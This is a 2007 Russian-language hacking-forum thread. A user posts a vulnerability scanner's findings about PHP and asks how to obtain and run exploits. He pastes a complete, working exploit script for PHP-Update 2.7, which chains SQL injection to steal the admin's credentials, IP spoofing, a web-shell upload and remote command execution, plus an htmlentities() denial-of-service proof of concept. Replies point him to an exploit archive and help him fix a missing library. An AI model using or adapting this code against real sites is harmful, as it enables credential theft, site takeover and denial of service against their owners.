Help

Discussion in 'Песочница' started by 4y4o, 7 Mar 2007.

  1. 4y4o

    4y4o Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    40
    Likes Received:
    2
    Reputations:
    0
    Просканил комп XSpider-ом вот что он выдал:
    Переполнение буфера (PHP)
    Подробное описание
    Уязвимость существует из-за ошибки проверки границ данных в функциях "htmlentities()" и "htmlspecialchars()". Злоумышленник может передать специально сформированные данные PHP приложению, использующему уязвимые функции, вызвать переполнение буфера и выполнить произвольный код на целевой системе.

    Множественные уязвимости (PHP)
    Подробное описание
    1. Массив "GLOBALS" является недостаточно защищенным. Удаленный пользователь может переопределить глобальные переменные с помощью "multipart/form-data" POST запроса со специально сформированным полем file upload или посредством сценария, вызывающего функцию "extract()" или "import_request_variables()". Удачная эксплуатация уязвимости требует, чтобы опция register_globals была включена в конфигурационном файле PHP.
    2. Обнаружена ошибка при обработке входных данных в функции "parse_str()", когда эта функция вызывается только с одним параметром. Злоумышленник может отключить memory_limit во время обработки входных данных в функции parse_str() путем отправки уязвимой функции большого количества переменных. Функция parse_str(), на время обработки входных данных, включает опцию register_globals, и если во время выполнения функции произойдет отключение memory_limit, то опция register_globals останется включенной до перезагрузки web сервера.
    3. Межсайтовый скриптинг возможен при обработке входных данных в функции phpinfo(). Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный HTML сценарий на стороне жертвы в контексте безопасности уязвимого сайта.
    4. Удаленный пользователь может обойти механизмы безопасности "safe_mode" и "open_basedir" с помощью модулей "ext/curl" и "ext/gd".
    5. Неопределенная ошибка при вызове функции virtual() в Apache 2 может быть использована для обхода ограничений безопасности директив "safe_mode" и "open_basedir".

    Где теперь мне взять эксплоит по этим уязвимостям и как его заюзать? буду очень благодарен.

    Вот нашёл пару эксплоитов но незнаю как ими пользоваться:
    <?php
    print_r('
    ---------------------------------------------------------------------------
    PHP-Update <= 2.7 str_replace() sql injection / privilege escalation /
    / cmd exec ii
    by rgod
    dork: "Powered by PHP-Update" -site:www.php-update.co.uk -ihackstuff
    -exploit

    mail: retrog at alice dot it
    site: http://retrogod.altervista.org
    ---------------------------------------------------------------------------
    ');
    /*
    this works regardless of php.ini settings
    and against the Php-Update mysql version with Mysql >= 4.1
    (allowing subs)
    */

    if ($argc<3) {
    print_r('
    ---------------------------------------------------------------------------
    Usage: php '.$argv[0].' host path cmd OPTIONS
    host: target server (ip/hostname)
    path: path to PHPUpdate
    Options:
    -p[port]: specify a port other than 80
    -P[ip:port]: specify a proxy
    -t[prefix]: specify a table prefix
    Example:
    php '.$argv[0].' localhost /phpupd/ ls -la -P1.1.1.1:80
    php '.$argv[0].' localhost / ls -la -p81
    php '.$argv[0].' localhost / ls -la -tphpupd_
    ---------------------------------------------------------------------------
    ');
    die;
    }
    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",5);

    function quick_dump($string)
    {
    $result='';$exa='';$cont=0;
    for ($i=0; $i<=strlen($string)-1; $i++)
    {
    if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
    {$result.=" .";}
    else
    {$result.=" ".$string[$i];}
    if (strlen(dechex(ord($string[$i])))==2)
    {$exa.=" ".dechex(ord($string[$i]));}
    else
    {$exa.=" 0".dechex(ord($string[$i]));}
    $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
    }
    return $exa."\r\n".$result;
    }
    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

    function sendpacketii($packet)
    {
    global $proxy, $host, $port, $html, $proxy_regex;
    if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
    echo 'No response from '.$host.':'.$port; die;
    }
    }
    else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
    echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
    echo 'No response from proxy...';die;
    }
    }
    fputs($ock,$packet);
    if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
    $html.=fgets($ock);
    }
    }
    else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
    $html.=fread($ock,1);
    }
    }
    fclose($ock);
    }

    $host=$argv[1];
    $path=$argv[2];
    $port=80;
    $proxy="";
    $cmd="";
    $prefix="phpusql_";

    for ($i=3; $i<$argc; $i++){
    $temp=$argv[$i][0].$argv[$i][1];
    if (($temp<>"-p")
    and ($temp<>"-P")
    and ($temp<>"-t")
    ) {$cmd.=" ".$argv[$i];}
    if ($temp=="-p")
    {
    $port=str_replace("-p","",$argv[$i]);
    }
    if ($temp=="-P")
    {
    $proxy=str_replace("-P","",$argv[$i]);
    }
    if ($temp=="-t")
    {
    $prefix=str_replace("-t","",$argv[$i]);
    }
    }
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

    function my_encode($my_string)
    {
    $encoded="CHAR(";
    for ($k=0; $k<=strlen($my_string)-1; $k++)
    {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=")";}
    else {$encoded.=",";}
    }
    return $encoded;
    }
    /*
    because of the bad use of extract() we can pass arguments
    calling directly the /code/guestadd.php script
    we have sql injections in multiple arguments, "newmessage",
    "newname","newwebsite","newemail"
    and we can use quotes because we have:

    [argument] = str_replace("\'","'",[argument]);

    on every ones
    oh, let me see our query...

    INSERT INTO phpusql_guestbook VALUES('1', '[injection here]

    so...
    */

    $UTAG=my_encode("<USER>");
    $PTAG=my_encode("<PASS>");
    $SQL ="1',(SELECT/**/CONCAT(".$UTAG.",username,".$UTAG.")/**/FROM/**/".$prefix."users/**/WHERE/**/ADMIN=1),";
    $SQL.="(SELECT/**/CONCAT(".$PTAG.",password,".$PTAG.")/**/FROM/**/".$prefix."users/**/WHERE ADMIN=1),'1','1.1.1.1','1')";
    $SQL.="/**/ON/**/DUPLICATE /**/KEY/**/UPDATE/**/autono=autono+1/*";

    //funny, isn't it? we hide password hashes inside guestbook html

    //also, I note this, we have a spoofing issue, beacuse of extract()
    //let's overwrite the ip address...
    $data='-----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="_SERVER[REMOTE_ADDR]";

    1.1.1.1
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="newmessage";

    1
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="newname";

    '.$SQL.'
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="newwebsite";

    1
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="newemail";

    1
    -----------------------------7d61bcd1f033e--
    ';
    $packet ="POST ".$p."code/guestadd.php HTTP/1.0\r\n";
    $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Connection: close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    sleep(1);

    //so let's see the admin pair...
    $packet ="GET ".$p."index.php?s=guestbook HTTP/1.0\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);
    $temp=explode("<USER>",$html);
    $user=$temp[1];
    $temp=explode("<PASS>",$html);
    $pwd=$temp[1];

    function is_my_hash($hash)
    {
    if (ereg("([a-f0-9]{16})|([A-F0-9]{41})",trim($hash))) {return true;}
    else {return false;}
    }

    if (is_my_hash($pwd)) {
    print_r('
    admin -> '.$user.'
    MySql PASSWORD() hash -> '.$pwd.'
    admin cookie -> logincookie[user]='.$user.'; logincookie[pwd]='.$pwd.';
    ');
    }
    else
    { //die("exploit failed...");
    //let's continue, maybe already executed...
    }
    sleep(1);

    function make_seed()
    {
    list($usec, $sec) = explode(' ', microtime());
    return (float) $sec + ((float) $usec * 100000);
    }
    srand(make_seed());
    $v = rand(111111,999999);

    //with admin privileges, we upload a php file...
    $data='-----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="userfile"; filename="suntzu_'.$v.'.php";
    Content-type: text/plain;

    <?php set_time_limit(0); error_reporting(7); echo "my_delim"; passthru($_SERVER[HTTP_SUNTZU]); echo "my_delim";?>
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="filecat";

    files
    -----------------------------7d61bcd1f033e
    Content-Disposition: form-data; name="submit";

    Upload
    -----------------------------7d61bcd1f033e--
    ';
    $packet ="POST ".$p."admin/uploads.php HTTP/1.0\r\n";
    $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: logincookie[user]=".$user."; logincookie[pwd]=".$pwd.";\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    sendpacketii($packet);
    sleep(1);

    //now launch commands...
    $packet ="GET ".$p."files/suntzu_".$v.".php HTTP/1.0\r\n";
    $packet.="SUNTZU: ".$cmd."\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    sendpacketii($packet);
    if (eregi("my_delim",$html)) {
    $temp=explode("my_delim",$html);
    echo $temp[1];
    }
    else {
    echo "exploit failed...";
    }
    ?>










    <?php
    /* Zarathu */
    /* www.whitepaperclip.com */

    //instantiate a string
    $str1 = "";

    for($i=0; $i < 64; $i++) {
    $str1 .= toUTF(977); //MUST start with 977 before bit-shifting
    }

    htmlentities($str1, ENT_NOQUOTES, "UTF-8"); //DoS here
    /*
    htmlentities() method automatically assumes
    it is a max of 8 chars. uses greek theta
    character bug from UTF-8
    */

    ?>

    <?php
    function toUTF($x) {
    return chr(($x >> 6) + 192) . chr(($x & 63) + 128);
    }
    ?>
     
  2. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Ищи на http://milw0rm.com/
    Запускай /thread26510.html
     
  3. 4y4o

    4y4o Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    40
    Likes Received:
    2
    Reputations:
    0
    Спасибо тебе добрый дядя! Вот токо одна проблема пишет типа не хватает библиотеки php_gd2.dll. Чё это за беда?
     
  4. FQziT

    FQziT Elder - Старейшина

    Joined:
    3 Nov 2005
    Messages:
    543
    Likes Received:
    156
    Reputations:
    206
    В папке extensions эта dll'ка есть? Если да, то просто в php.ini раскоментируй extension=php_gd2.dll .. если нет то скачай сначала.. отсюда например http://www.nodevice.ru/dll/P_p22.html
    ЗЫ: И называйте темы более информативно.
     
    #4 FQziT, 7 Mar 2007
    Last edited: 7 Mar 2007